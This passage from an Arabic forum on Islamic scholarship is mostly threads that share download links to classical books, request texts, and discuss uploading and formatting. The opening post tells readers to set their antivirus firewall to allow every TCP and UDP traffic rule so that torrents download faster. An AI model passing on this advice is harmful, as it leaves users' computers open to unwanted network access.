وهو أن تدخل على خيارات الجدار الناري Firewall الموجودة في مضاد الفايروس الذي عندك ـ وهو يختلف من مضاد لآخر ـ وتقوم بما يسمى Rules أي المناطق الآمنة وغالبًا ما يكون في مضادات الفايروس نوعان من الـ Rules أحدها خاص بالبرامج والآخر خاص بالبورتات العامة، ولا يهمك من تفاصيل ذلك ولكن أعطيك نقطة هامة إصنعها وستجد أن التورنت أصبح بالضبط كالتحميل العادي وبنفس سرعته وهذا ما هو حاصل عندي في جهازي. وهما خطوتان:
1 _ أدخل على Program Rules أو ما أدّى لهذا المعنى في مضاد الفايروس عندك والذي يوجد في قسم Firewall منه، فإن وجدت برنامج التورنت مثل Utorrent فادخل على الخيارات الخاصة به واختر allow .
2 _ ثم إذهب إلى Traffic Rules وأيّ شيء وجدته فيه UDP أو TCP فأعطه السماح Allow لأن هذا الأمر خاص بمشاركة الملفات sharing وهو الذي يعتمد عليه نظام المشاركة بالتورنت.
أرجو أن أكون قد بينت ولو شيئًا بسيطًا، وعذرًا على الغموض فإنه ليس مني وإنما لأن كل برنامج حماية قد يختلف عن الآخر ببعض التسميات فيرى قاريء كلماتي أنه لم ينتفع بما قلت، وأنا أستطيع نفع الإخوة الذين عندهم برامج الحماية التالية:
Avira
Kaspersky
Eset nod smart Security
Norton
لأن هذه البرامج قد تعاملت معها وأعرف الطريقة، ولكن شرحها جميعًا يطول جدا.(61/460)
تفسير البستي
ـ[ابو الوفا العبدلي]ــــــــ[07 - 10 - 08, 02:18 ص]ـ
هذا تفسير البستي شيخ ابن حبان- قطعة منه.
http://www.megaupload.com/?d=P6V0H950
ـ[خليل إبراهيم]ــــــــ[07 - 10 - 08, 06:13 م]ـ
جعله الله لك في ميزان حسناتك
ـ[البشير الزيتوني]ــــــــ[07 - 10 - 08, 09:39 م]ـ
جزاكم الله كل خير على هذا الكتاب النادر.
ـ[المنصور]ــــــــ[08 - 10 - 08, 03:11 ص]ـ
محجوب في السعودية
غير الموقع جزاك الله خيرا
ـ[ابو الوفا العبدلي]ــــــــ[08 - 10 - 08, 01:57 م]ـ
http://www.archive.org/details/TafsirAlbusti
ـ[أبو المعالي الأمزيلي]ــــــــ[09 - 10 - 08, 06:25 ص]ـ
http://www.archive.org/details/TafsirAlbusti
للأسف حذف الكتاب، فالمرجو من حمله من الرابط الأول أن يعيد وضعه مشكورا على الأرشيف وجزاكم الله خيرا.
ـ[ابو الوفا العبدلي]ــــــــ[09 - 10 - 08, 10:31 ص]ـ
http://www.archive.org/details/TafsirAlBusti_130
ـ[أبو المعالي الأمزيلي]ــــــــ[09 - 10 - 08, 06:55 م]ـ
http://www.archive.org/details/TafsirAlBusti_130
جزاكم الله خيرا وجعله في ميزان حسناتكم يوم الدين.
ـ[أبو صالح التميمي]ــــــــ[09 - 10 - 08, 09:30 م]ـ
هل من تعريف بكتاب تفسير البستي؟!!
ـ[محمود بن الشامي]ــــــــ[09 - 10 - 08, 09:57 م]ـ
في الرابط صورة عن الجزء الثالث عشر من مخطوط لصحيح الإمام مسلم
ـ[أبو عبد الله بن سعيد]ــــــــ[10 - 10 - 08, 01:33 ص]ـ
جزاك الله خيراً
ـ[سامح لطفى]ــــــــ[10 - 10 - 08, 02:17 ص]ـ
جزاك الله خيراً أخانا الكريم
و ما رفعه لنا الأخ الفاضل هو تفسير إسحاق بن إبراهيم البستي، وهذة المخطوطة كتبت سنة 368 هجرية، وكانت من محفوظات مكتبة بلدية الإسكندرية برقم 836/ب، وهي أقدم مخطوطات المكتبة، وقد نقلت الآن مع بقية مخطوطات البلدية إلى مكتبة الإسكندرية، و قد كتب عليها خطأ أنها صحيح مسلم.
ـ[أبو صالح التميمي]ــــــــ[10 - 10 - 08, 10:21 م]ـ
لاأعرف كيفية التنزيل، من استطاع أن ينفع أخاه بتفصيل قليل فليفعل، بورك له في علمه ووقته.
ـ[خالد بن عمر]ــــــــ[11 - 10 - 08, 01:20 ص]ـ
لاأعرف كيفية التنزيل، من استطاع أن ينفع أخاه بتفصيل قليل فليفعل، بورك له في علمه ووقته.
جزى الله الشيخ الشلاحي خيرا
هذا الرابط مباشر
اضغط زر الماوس الأيمن ثم اختر حفظ باسم
http://ia311202.us.archive.org/1/items/TafsirAlBusti_130/pdf
ـ[أبو صالح التميمي]ــــــــ[11 - 10 - 08, 05:26 م]ـ
جزيت خيرا ياشيخ خالد.
ـ[ابوسفيان المقدشى]ــــــــ[13 - 10 - 08, 12:32 ص]ـ
- إسحاق بن إبراهيم البستي * بمهملة.
سمع محمد بن الصباح البزار وطبقته، وهو منسوب إلى مدينة بست من إقليم سجستان وراء ناحية هراة.
حدث عنه: أبو حاتم بن حبان البستي وغيره.
عاش إلى نحو الثلاث مئة. سير اعلام النبلاء الحافظ الذهبى 14/ 40
وتفسيره معروف ب تفسير البستى
وقد تم تحقيقه فى الجامعة الاسلامية بالمدينة المنورة فى رسالتين الاولى من سورة الكهف الى
سورة الشعراء من قبل الباحث عوض بن محمد ظافر العمرى
والثانية من سورة النمل الى سورة النجم من الباحث عثمان معلم محمود شيخ على المقيم فى المدينة المنورة
http://www.hadielislam.com/readlib/rasael/resala.php?id=3521(61/461)
كتاب ملخص القواعد الفقهية للشاملة
ـ[ابراهيم خطاب]ــــــــ[07 - 10 - 08, 09:50 ص]ـ
كتاب ملخص القواعد الفقهية للشاملة وهو تأليف العلامة بن عثيمين رحمه الله
ـ[الاستاذ]ــــــــ[10 - 10 - 08, 01:01 ص]ـ
وهذه النسخة من تحقيقنا.
وها هي pdf
ـ[ايهاب الزين]ــــــــ[15 - 10 - 08, 05:46 م]ـ
جزاك الله خيرا
ـ[منير الجزائري]ــــــــ[25 - 01 - 09, 03:04 ص]ـ
بارك الله فيكم وفي جهودكم
ـ[أبو ذر الفاضلي]ــــــــ[26 - 01 - 09, 02:58 ص]ـ
بارك الله فيكم(61/462)
حمل شرح زاد المستقنع لفضيلة الشيخ محمد بن محمد المختار الشنقيطي في ست اسطوانات (سلسلة ميراث الأنبياء
ـ[مشرف الشهري]ــــــــ[07 - 10 - 08, 10:26 ص]ـ
من هنا
http://www.m1500.com/vb/showthread.php?p=1632#post1632
ـ[حسن البركاتي]ــــــــ[07 - 10 - 08, 11:37 ص]ـ
جزاك الله خيراً
كذلك يوجد شرح عمدة الاحكام - شرح محافظة جدة - في أربع اسطوانات.
الشرح استغرق ست سنوات تقريبا، ونحن نشتريه كل اسطوانه بريال، فيا لها من نعمة عظيمة لكن العلم يحتاج الى جهد وتعب
ـ[ابو عبد المحسن]ــــــــ[07 - 10 - 08, 02:41 م]ـ
جزاك الله خيراً
هل إكتملت؟
ـ[محمد زكريا يوسف]ــــــــ[30 - 01 - 09, 12:23 ص]ـ
جزاك الله خيرا(61/463)
طلب كتاب قصص الأنبياء لعبد الوهاب النجار باي صيغة
ـ[خليل إبراهيم]ــــــــ[07 - 10 - 08, 11:56 ص]ـ
أعتقد أنه كان موجودا بهذا المنتدى المبارك وأعتقد أنه كان مصورا
أسأل الله أن يمن علينا به في هذا المنتدى الكريم.(61/464)
الإنصاف في بيان أسباب الإختلاف كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[07 - 10 - 08, 03:21 م]ـ
الإنصاف في بيان أسباب الاختلاف كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
الانصاف في بيان أسباب الاختلاف
شاه ولى الدهلوي أحمد بن عبدالرحيم العمرى
كتاب على صغر حجمه لكنه جمع معارف قيمة في تاريخ التشريع ونشؤ الخلاف الفقهي، وتطور التقليد والتقيد بالمذاهب إلى مرحلة هجر الدليل حجر الإجتهاد وحرمة الخروج عن منصوص أئمة المذاهب وإن كان صادرعن دليل صريح صحيح
حجم الكتاب 460 كيلوبايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i285.photobucket.com/albums/ll64/Abolmaaty/1-86.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/2-86.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/3-76.jpg
روابط التنزيل
http://www.4shared.com/file/65937385/8220772a/Alekhtelafnat.html
أو
http://www.adrive.com/public/542d2891c069860d6c812fe05f0fa15144e3d55531499c72ef 69bb5ec0bba858.html
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)(61/465)
هل من مساعدة بخصوص برنامج تنسيق الأبيات الشعرية
ـ[عبد الحميد الأثري الجزائري]ــــــــ[07 - 10 - 08, 03:52 م]ـ
السلام عليكم ورحمة الله وبركاته<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
<o:p> </o:p>
<o:p> </o:p>
حملت من المنتدى برنامجا لتنسيق الأبيات الشعرية غير أنه لم ينفع معي أو لم أحسن استعماله،فأنا أريد أن أعيد تنظيم هذا النظم –بالمرفقات-على هذا الشكل:
< TABLE class=MsoTableGrid id=Poem:1:10:24:28 dir=rtl style="WIDTH: 100%; BORDER-COLLAPSE: collapse; mso-yfti-tbllook: 480; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-table-dir: bidi" cellSpacing=0 cellPadding=0 width="100%" border=0><TBODY><TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes"><TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent" vAlign=top width=284> قَالَ ابْنُ آبَّ وَاسْمُهُ مُحَمَّدُ
< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 213.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent" vAlign=top width=284> اللهَ فِي كُلِّ الأُمُورِ أَحْمَدُ
< o:p></o:p>
</TD></TR></TBODY></TABLE>
<o:p> </o:p>
بعدما كان على هذا الشكل:< o:p></o:p>
1- قَالَ ابْنُ آبَّ وَاسْمُهُ مُحَمَّدُ (1) < o:p></o:p>
اللهَ فِي كُلِّ الأُمُورِ أَحْمَدُ< o:p></o:p>(61/466)
حمل التحذير من المدارس الأجنبية/تأليف الإمام العلامة عبد الرحمن السعدي Pdf
ـ[أبوالفداءالخلفى]ــــــــ[07 - 10 - 08, 04:11 م]ـ
التحذير من المدارس الأجنبية/تأليف الإمام العلامة عبد الرحمن السعدي Pdf
http://www.4shared.com/account/file/65996587/9aaf1570/es-sadi.html
ـ[أبوالفداءالخلفى]ــــــــ[18 - 01 - 09, 12:17 م]ـ
للرفع بارك الله فيكم
ـ[عيسى بنتفريت]ــــــــ[18 - 01 - 09, 06:31 م]ـ
بارك الله فيك ونفعك بك، ووفقني وإياك لما يحب ويرضى.
ـ[فهد السند]ــــــــ[18 - 01 - 09, 08:08 م]ـ
بورك فيك
ورحم الله العلامة السعدي وبرد مضجعة ونور ضريحه
وجزى الله خيرا محقق الرسالة وغفر له ورحمه
مع التحفظ على شيء مما جاء في مقدمته
والكمال عزيز!
ـ[أبوالفداءالخلفى]ــــــــ[30 - 04 - 09, 12:39 م]ـ
وجزاكم الله خيرا(61/467)
بحاجة إلى كتاب أبو العتاهية حياته وأخباره. د. شكري فصل
ـ[عبدالحكيم طويلب]ــــــــ[07 - 10 - 08, 04:12 م]ـ
أيها الإخوة الكرام ...
أنا في حاجة ماسة إلى كتاب:
أبو العتاهية حياته وأخباره
من تأليف الدكتور شكري فيصل.
وهو في الحقيقة أفضل كتاب تم فيه تحقيق ديوان أبي العتاهية تحقيقاً علميا رصيناً.
كما رد فيه على التحريفات التي قام بها اليسوعيون على طبعات ديوان أبي العتاهية، والتي يعتمد عليها أغلب الناشرين اليوم.
بارك الله فيكم وجزاكم خير الجزاء.
ـ[عبدالحكيم طويلب]ــــــــ[08 - 10 - 08, 09:21 م]ـ
للرفع .... بارك الله فيكم.(61/468)
فقه السنة مترجما للإنجليزية
ـ[خليل إبراهيم]ــــــــ[07 - 10 - 08, 06:17 م]ـ
أعيد رفع هذا الكتاب لأنني وجدت الشاملة 6888 خالية منه وبحثت عنه في الموقع فلم أفلح.
هاهو ذا أسأل الله أن ينفع به.(61/469)
أين أجد كتاب شرح مقدمة الصلاح ابن صلاح لنور الدين بن عتر
ـ[أبو عبد الرحمن السبيلي]ــــــــ[07 - 10 - 08, 06:18 م]ـ
السلام عليكم ورحمة الله وبركاته
أين أجد كتاب شرح مقدمة الصلاح ابن صلاح لنور الدين بن عتر
في مدينة القاهرة
ـ[محمد الحسينى]ــــــــ[07 - 10 - 08, 10:29 م]ـ
و عليكم السلام ورحمة الله وبركاته
رأيته منذ مدة في مكتبة دار السلام فلعلك تجده هناك(61/470)
طلب يسير من الأفاضل الأكارم
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[07 - 10 - 08, 07:48 م]ـ
السلام عليكم ورحمة الله وبركاته
إخواني الأفاضل، طلبي ممن عنده المكتبة الشاملة الإصدار الأخير أن يقوم بتصدير جميع كتب الشيخ الألباني رحمه الله تعالى بصيغة الشامة ويرفعها لي مشكورًا مأجورًا.
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[09 - 10 - 08, 06:22 ص]ـ
هل من مجيب؟!!
بارك الله فيكم
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[09 - 10 - 08, 06:59 م]ـ
لا أزال أنتظر بارك الله فيكم
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[12 - 10 - 08, 01:52 ص]ـ
سبحان الله
أما عندكم الشاملة؟!!
ـ[أبو المعالي الأمزيلي]ــــــــ[13 - 10 - 08, 12:11 ص]ـ
وعليكم السلام ورحمة الله وبركاته
أنا أستعمل الشاملة خمسة الاف الغير مرتبة والكثيرة المكرر ... هل تريد أن أصدر لك ما طلبت؟؟
ـ[حيدر]ــــــــ[13 - 10 - 08, 05:54 م]ـ
مجموعة كتب الشيخ محمد ناصر الدين الألباني بين كتاب مؤلف، أو محقق، أو تخريج لأحاديثه.
في كتاب ألكتروني واحد للمكتبة الشاملة على الرابط التالي في منتديات اللغة الساحرة:
http://magiclang.com/hasan/alalbany.bok(61/471)
استفسار كتاب الأوراق للصولي pdf
ـ[مصعب الجهني]ــــــــ[07 - 10 - 08, 09:35 م]ـ
اخواني الكرام بحثت كثيرا عن نسخة لكتاب الأوراق للصُّولي,,, سواء كانت وورد أو pdf فلم اجدها!
والكتاب كما لا يخفى من الكتب الأدبية المعتمدة بما حوى من مادة أدبية وتاريخية ,,,
فهل من نسخة للكتاب متوفرة على الشبكة؟؟
ـ[أبو ذر محمد]ــــــــ[08 - 10 - 08, 12:11 ص]ـ
رابط الكتاب:
http://al-mostafa.info/data/arabic/depot3/gap.php?file=i000370.pdf
ـ[مصعب الجهني]ــــــــ[16 - 10 - 08, 03:48 م]ـ
جزاك الله خير يا أبا ذر
وغفر لك ولوالديك ولمشايخك ورحِمَكُم
ـ[أبووليد]ــــــــ[26 - 10 - 08, 03:57 ص]ـ
يابن محمد أباً لذرِِ حماك الله من ضرٍ وشرِ
وجعلك رائداً في كل فضلٍ وجعلك سابقاً في كل خيرِِ(61/472)
ما هي طريقة التحميل
ـ[أبو غالية]ــــــــ[07 - 10 - 08, 09:47 م]ـ
عندي كتاب مصوّر هو أمنية الكثيرين، ولن أبوح باسمه حتى لا يحترق .. لكني آمل من أحد الإخوة أن يتكرم عليّ بطريقة واضحة للتحميل على موقع أرشيف ..
ـ[محمد الاسلام]ــــــــ[07 - 10 - 08, 09:54 م]ـ
هنا
http://www.ahlalhdeeth.com/vb/showthread.php?t=102083
ـ[أبو غالية]ــــــــ[07 - 10 - 08, 11:53 م]ـ
هذه تجربة فقط،، من خلال تحميل (تفسير ابن سعدي) وليس هو مفاجأتي ..
http://www.archive.org/download/TfsirIbnSadi/TfsirIbnSadi.pdf
آمل إفادتي بالملاحظات،، خاصة وأن الكتاب الذي سأقوم بتحميله يفوق مجموع ملفاته (100ميغا) ولذا فإني لا أريد أن يضيع وقتي هباءً ..
ـ[أبو محمد العدني]ــــــــ[08 - 10 - 08, 12:25 ص]ـ
هذه تجربة فقط،، من خلال تحميل (تفسير ابن سعدي) وليس هو مفاجأتي ..
http://www.archive.org/download/TfsirIbnSadi/TfsirIbnSadi.pdf
آمل إفادتي بالملاحظات،، خاصة وأن الكتاب الذي سأقوم بتحميله يفوق مجموع ملفاته (100ميغا) ولذا فإني لا أريد أن يضيع وقتي هباءً ..
تمام الرابط يعمل يمكنك تحميل كتابك على الموقع نفسه وهو مباشر أيضاً. موفق!
ـ[عبدالله العلي]ــــــــ[08 - 10 - 08, 01:02 ص]ـ
100 ميغا!!
ماشاء الله ... يمكن الفنون لابن عقيل كاملا (ابتسامة)
ـ[عبد الرحمن أبو عبد الله]ــــــــ[08 - 10 - 08, 02:10 م]ـ
بارك الله فيك
ـ[ماجد المسلم]ــــــــ[08 - 10 - 08, 03:34 م]ـ
بارك الله فيك أخي أبو غالية ..
في انتظار مفاجئتك
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 04:04 م]ـ
في الحقيقة .. لم تفلح معي المحاولة في موقع أرشيف .. ولا أدري إن كان الأمر سيكون سهلاً معه أو أتجه للتحميل على موقع آخر ترشحونه ..
ـ[الطيماوي]ــــــــ[08 - 10 - 08, 04:49 م]ـ
جرب الرفع على موقع
www.megaupload.com
وسأعيد رفعه بنفسي على رابط دائم إن شاء الله ومن ثم يرفعه من شاء على أي موقع شاء
لا تنسى تقطيع الملف إلى جزئين كل جزء 500 ميجا مثلا لأن أقصى حجم للرفع هو 500
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 06:18 م]ـ
الموقع محجوب عندي .. ولا تذهب بعيداً .. فالكتاب حجمه (180ميغا تقريباً) لكنه على أجزاء ..
ـ[خالد البعلبكي]ــــــــ[08 - 10 - 08, 08:13 م]ـ
أعطنا اول عشرة احرف من اسم الكتاب حتى نحزره.
شوقتنا ان شاء الله يكون الكتاب فوق ما نظن ..
ـ[د. مصطفى]ــــــــ[11 - 10 - 08, 07:22 م]ـ
ifile.it
يمكنك الرفع عليه حتى 250 ميجا، وهو يدعم استكمال التحميل
في انتظار مفاجأتك
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[12 - 10 - 08, 01:47 ص]ـ
لقد رفع أبو غالية الكتاب على أرشيف!!!
ألم تعرفوه بَعدُ؟؟؟!!
إنه نهاية المطلب للجويني في عشرين جزءًا
وقد وضعه في الملتقى.(61/473)
دروس وكلمات الشيخ عبد الكريم الخضير من موقعه ... للشاملة
ـ[ابو عبد المحسن]ــــــــ[07 - 10 - 08, 11:42 م]ـ
السلام عليكم
تجد هنا جميع محتوى موقع الشيخ الخضير من دروس مفرغة وكلمات توجيهية
وقد حرصت أن أجعلها كوضعها في موقع الشيخ ولم أقم بدمجها للمصلحة الظاهرة
وهي جاهزة للشاملة
أرجو أن ينفع الله بها إخواني ...
http://www.4shared.com/file/66044914/9f004188/_______.html
...
ـ[ابو عبد المحسن]ــــــــ[09 - 10 - 08, 01:51 م]ـ
السلام عليكم
تنبيه: دروس الشيخ هنا بصيغة الشاملة ...
ومن أرادها بصيغة pdf فيجدها على هذا الرابط:
http://www.ahlalhdeeth.com/vb/showthread.php?t=139855
ـ[أبو معاذ الهلالي]ــــــــ[09 - 10 - 08, 02:17 م]ـ
جزاك الله خيراً على كريم مجهودك يا أبا عبد المحسن.
ـ[علي الفضلي]ــــــــ[10 - 10 - 08, 08:08 ص]ـ
بارك الله فيكم أخي أبا عبد المحسن على جهودكم.
لكني لا أستطيع تحميله من الموقع المذكور، فكلما ضغطت على داولود، ترجع الصفحة كما كانت، فلو رفعتها على غير هذا الموقع لأني حريص على كتب الشيخ.
وجزاكم الله خيرا.
ـ[ابو عبد المحسن]ــــــــ[11 - 10 - 08, 12:32 ص]ـ
السلام عليكم
لقد قسمتها إلى أربعة أجزاء وسوف إن شاء الله أرفعهات في المرفقات ..
وهذا أول الأجزاء
ـ[علي الفضلي]ــــــــ[11 - 10 - 08, 07:48 ص]ـ
جزاك الله خيرا أخي أبا عبد المحسن، وزادك الله حرصا وعلما وحلما.
ـ[ابو عبد المحسن]ــــــــ[11 - 10 - 08, 05:13 م]ـ
السلام عليكم
الجزء الثاني
ـ[ابو عبد المحسن]ــــــــ[12 - 10 - 08, 05:29 م]ـ
الجزء الثالث
ـ[مصطفى الشقيري]ــــــــ[14 - 10 - 08, 01:12 ص]ـ
جزاك الله خيرا
ـ[ابو عبد المحسن]ــــــــ[14 - 10 - 08, 01:24 ص]ـ
السلام عليكم
الجزء الرابع ...
ـ[علي الفضلي]ــــــــ[14 - 10 - 08, 07:50 ص]ـ
أحسنت يا أبا عبد المحسن، وبارك الله فيك.
تم تحميلها كلها، فعسى الله تعالى أن يكتب لك بها الأجر.
ـ[خادم الإسلام]ــــــــ[14 - 10 - 08, 02:09 م]ـ
النسخة الجاهزة للشاملة
الرابط لا يعمل
ـ[ابو عبد المحسن]ــــــــ[14 - 10 - 08, 05:15 م]ـ
جميع الروابط تعمل بارك الله فيك وكلها للشاملة
ـ[منير الجزائري]ــــــــ[23 - 10 - 08, 01:50 ص]ـ
بارك الله فيكم
جزاكم الله خيرا
ـ[أبو عبد الله المقدسي]ــــــــ[23 - 10 - 08, 02:11 ص]ـ
نفع الله بكم، وجزى الله شيخنا خيرا.
ـ[أبو عبد الوهاب الجزائري]ــــــــ[10 - 12 - 08, 06:37 م]ـ
بارك الله تعالى فيكم
ـ[شبيب القحطاني]ــــــــ[13 - 12 - 08, 07:54 ص]ـ
جزاك الله خيرا
ـ[أبو الحسن السلفي]ــــــــ[14 - 12 - 08, 09:59 ص]ـ
تم التحميل
جزاكم الله خيرا
ـ[أحمد محمد بسيوني]ــــــــ[10 - 01 - 09, 04:24 ص]ـ
نفع الله بكم.
ـ[احمد بن الحنبلي]ــــــــ[23 - 01 - 09, 07:30 م]ـ
شكر الله لكم وكتب أجركم.
ـ[إحسان العتيبي]ــــــــ[24 - 01 - 09, 12:34 ص]ـ
شكر الله لك
ـ[أبو المظفر السِّنَّاري]ــــــــ[24 - 01 - 09, 02:06 ص]ـ
جزاك الله خيرًا.
ـ[أبو أحمد العجمي]ــــــــ[27 - 11 - 09, 02:27 ص]ـ
طلب البرنامج رقما سريا
بارك الله فيكم
ـ[عبدالمنان الأثري]ــــــــ[27 - 11 - 09, 09:18 ص]ـ
بارك الله فيك و جزاك الله خيرا
ـ[ناصر قليل]ــــــــ[27 - 11 - 09, 09:36 ص]ـ
جزاك الله خيرا(61/474)
هل أجد على الأنترنت كتاب {المكنز الكبير}؟
ـ[أبو محمد العدني]ــــــــ[08 - 10 - 08, 12:32 ص]ـ
السّلام عليكم ورحمة الله وبركاته.
لقد يأست من البحث في المكتبات العامة والخاصة والتجارية عن كتاب المكنز الكبير والذي جمع فيه مؤلف عن المتضادات والمترادفات من الكلمات العربية فهل أجد هذا الكتاب على الأنترنت مصوراً أو على وورد؟
وشكراً.
ـ[محمد ابن الشنقيطي]ــــــــ[04 - 11 - 10, 08:20 ص]ـ
للرفع
ـ[محمد أبو حسن المطيري]ــــــــ[04 - 11 - 10, 10:05 ص]ـ
السّلام عليكم ورحمة الله وبركاته.
لقد يأست من البحث في المكتبات العامة والخاصة والتجارية عن كتاب المكنز الكبير والذي جمع فيه مؤلف عن المتضادات والمترادفات من الكلمات العربية فهل أجد هذا الكتاب على الأنترنت مصوراً أو على وورد؟
وشكراً.
أول مرة نسمع بهذا الاسم
الذي نعرفه موقع (المكنز)
يجب أن تعطينا معلومات وافية أو على الأقل اسم المؤلف
ويا ليتك تذكر أين سمعت بهذا الكتاب في الإنترنت أم غيرها فهذا يساعدك جدا
يسر الله لك طلبتك
ـ[محمد ابن الشنقيطي]ــــــــ[04 - 11 - 10, 12:15 م]ـ
http://www.ahlalhdeeth.com/vb/showthread.php?t=227314(61/475)
أين أجد صحيفة همام على الشبكة " pdf" ?
ـ[أبو عبدالله الطحاوى]ــــــــ[08 - 10 - 08, 08:18 ص]ـ
السلام عليكم ورحمة الله وبركاته
أين أجد صحيفة همام على الشبكة " pdf" ?
ـ[محمد بن عبدالله]ــــــــ[08 - 10 - 08, 11:35 ص]ـ
وعليكم السلام ورحمة الله وبركاته.
وجدتُها (تحقيق وشرح د. رفعت فوزي عبدالمطلب) مصورة على الشبكة، لكن فيها نقص عشرين صفحة!
فإن رأيتم أن أرفع الموجود منها إلى أن يُتم النقص بعض الأفاضل= فعلت.
وجزاكم الله خيرًا.
ـ[أبو عبدالله الطحاوى]ــــــــ[09 - 10 - 08, 07:36 ص]ـ
أستاذي الفاضل، لأنت أهل للفضل فتفضل علينا وجد، وارفع تُرفع -بإذن الله تعالى- في الجنة درجات
اللهم آمين
وبالنسبة للناقص منها فسوف أحاول أن أنقله من مكتبة كلية أصول الدين عندنا بإذن الله تعالى.
ـ[محمد بن عبدالله]ــــــــ[09 - 10 - 08, 12:42 م]ـ
آمين، بارك الله فيك.
http://www.ahlalhdeeth.com/vb/showthread.php?t=149942
ـ[أبو عبدالله الطحاوى]ــــــــ[09 - 10 - 08, 11:32 م]ـ
بارك الله فيك وفرج عنك ورفعك في الجنة درجات ........(61/476)
[للتحميل] الذخيرة في فروع المالكية، للقرافي ت684هـ (طبعة دار الكتب العلمية) 10 أجزاء Pdf
ـ[خلدون الجزائري]ــــــــ[08 - 10 - 08, 07:24 م]ـ
الكتاب وصاحبه غنيان عن التعريف
طبعة دار الكتب العلمية من عشرة أجزاء
التحميل:
روابط مباشرة وسريعة
الجزء الأول ( http://ia311239.us.archive.org/2/items/dhakhira1/dhakhira1.pdf)
الجزء الثاني (غير متوفر)
الجزء الثالث ( http://ia310809.us.archive.org/3/items/dhakhira3/dhakhira3.pdf)
الجزء الرابع ( http://ia310828.us.archive.org/1/items/dhakhira4/dhakhira4.pdf)
الجزء الخامس ( http://ia311218.us.archive.org/1/items/dhakhira5/dhakhira5.pdf)
الجزء السادس ( http://ia311208.us.archive.org/1/items/dhakhira6/dhakhira6.pdf)
الجزء السابع ( http://ia310818.us.archive.org/1/items/dhakhira7/dhakhira7.pdf)
الجزء الثامن ( http://ia310824.us.archive.org/2/items/dhakhira8/dhakhira8.pdf)
الجزء التاسع ( http://ia310837.us.archive.org/3/items/dhakhira9/dhakhira9.pdf)
الجزء العاشر ( http://ia310806.us.archive.org/0/items/dhakhira10/dhakhira10.pdf)
ـ[أبو عبد الرحمن السبيلي]ــــــــ[08 - 10 - 08, 07:37 م]ـ
جزاك الله خيرا
ـ[أبو عبد الرحمن السبيلي]ــــــــ[08 - 10 - 08, 08:05 م]ـ
http://rapidshare.com/files/152080620/dhakhira8.pdf
http://rapidshare.com/files/152080600/dhakhira9.pdf
http://rapidshare.com/files/152080541/dhakhira7.pdf
http://rapidshare.com/files/152075841/dhakhira5.pdf
http://rapidshare.com/files/152075788/dhakhira4.pdf
http://rapidshare.com/files/152075729/dhakhira3.pdf
http://rapidshare.com/files/152075037/dhakhira6.pdf
http://rapidshare.com/files/152075634/dhakhira10.pdf
http://rapidshare.com/files/152075716/dhakhira1.pdf
روابط جديدة
ـ[عبد الرحمن أبو عبد الله]ــــــــ[09 - 10 - 08, 03:23 ص]ـ
جزاك الله خيرا
نريد الجزء الثاني من الكتاب
ـ[خلدون الجزائري]ــــــــ[09 - 10 - 08, 11:29 ص]ـ
بارك الله فيك الأخ: أبو عبد الرحمن السبيلي
جزاك الله خيرا. نريد الجزء الثاني من الكتاب
الكتاب بأجزائه التسعة متوفر في النت على شكل صور tiff منذ سنوات (يطالع فهارس الأخ سعيد المغربي)، فحولته إلى pdf لتسهيل قراءته. والمتوفر الأجزاء التسعة المذكورة.
وللتنبيه أصل الكتاب محقق مطبوع منشور منذ خمسة عشر سنة.
ـ[منير الجزائري]ــــــــ[11 - 10 - 08, 12:25 ص]ـ
بارك الله فيكم وفي جهودكم(61/477)
أخيراً .. المفاجأة .. نهاية المطلب للجويني مصوراً
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 08:17 م]ـ
نهاية المطلب في دراية المذهب للجويني الشافعي، تحقيق: عبدالعظيم الديب ..
آمل التحمّل حتى تجتمع مجلدات الكتاب كاملاً ..
هذا رابط الغلاف، وبه نبدأ مستعينين بالله وحده:
http://www.archive.org/download/NhayatulMatlab/nmdm00.pdf
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 08:38 م]ـ
وهذا مجلد المقدمات:
http://www.archive.org/download/Nhayatulmatlab_259/nmdm00m.pdf
ـ[خليل إبراهيم]ــــــــ[08 - 10 - 08, 08:48 م]ـ
أكمل لنا الكتاب بارك الله فيك وجعله لك في ميزان الحسنات
ـ[أبو غالية]ــــــــ[08 - 10 - 08, 08:56 م]ـ
المجلد الأول:
http://www.archive.org/download/NhayatulMatlab_160/nmdm01.pdf
بين يدي الكتاب:
http://www.archive.org/download/NhayatulMatlab_779/nmdm01p.pdf
ـ[خالد البعلبكي]ــــــــ[08 - 10 - 08, 09:23 م]ـ
جزاك الله خيرا
كنز كبير وكتاب مفيد له مكانة في مكتبة الكتب الألكترونية.
بارك الله بك .. وتقبل الله عملك ووفقك الله للمزيد ..
ـ[أبو عبد الله التطاون]ــــــــ[08 - 10 - 08, 11:24 م]ـ
جزاكم الله خيرا.
ـ[خلدون الجزائري]ــــــــ[08 - 10 - 08, 11:35 م]ـ
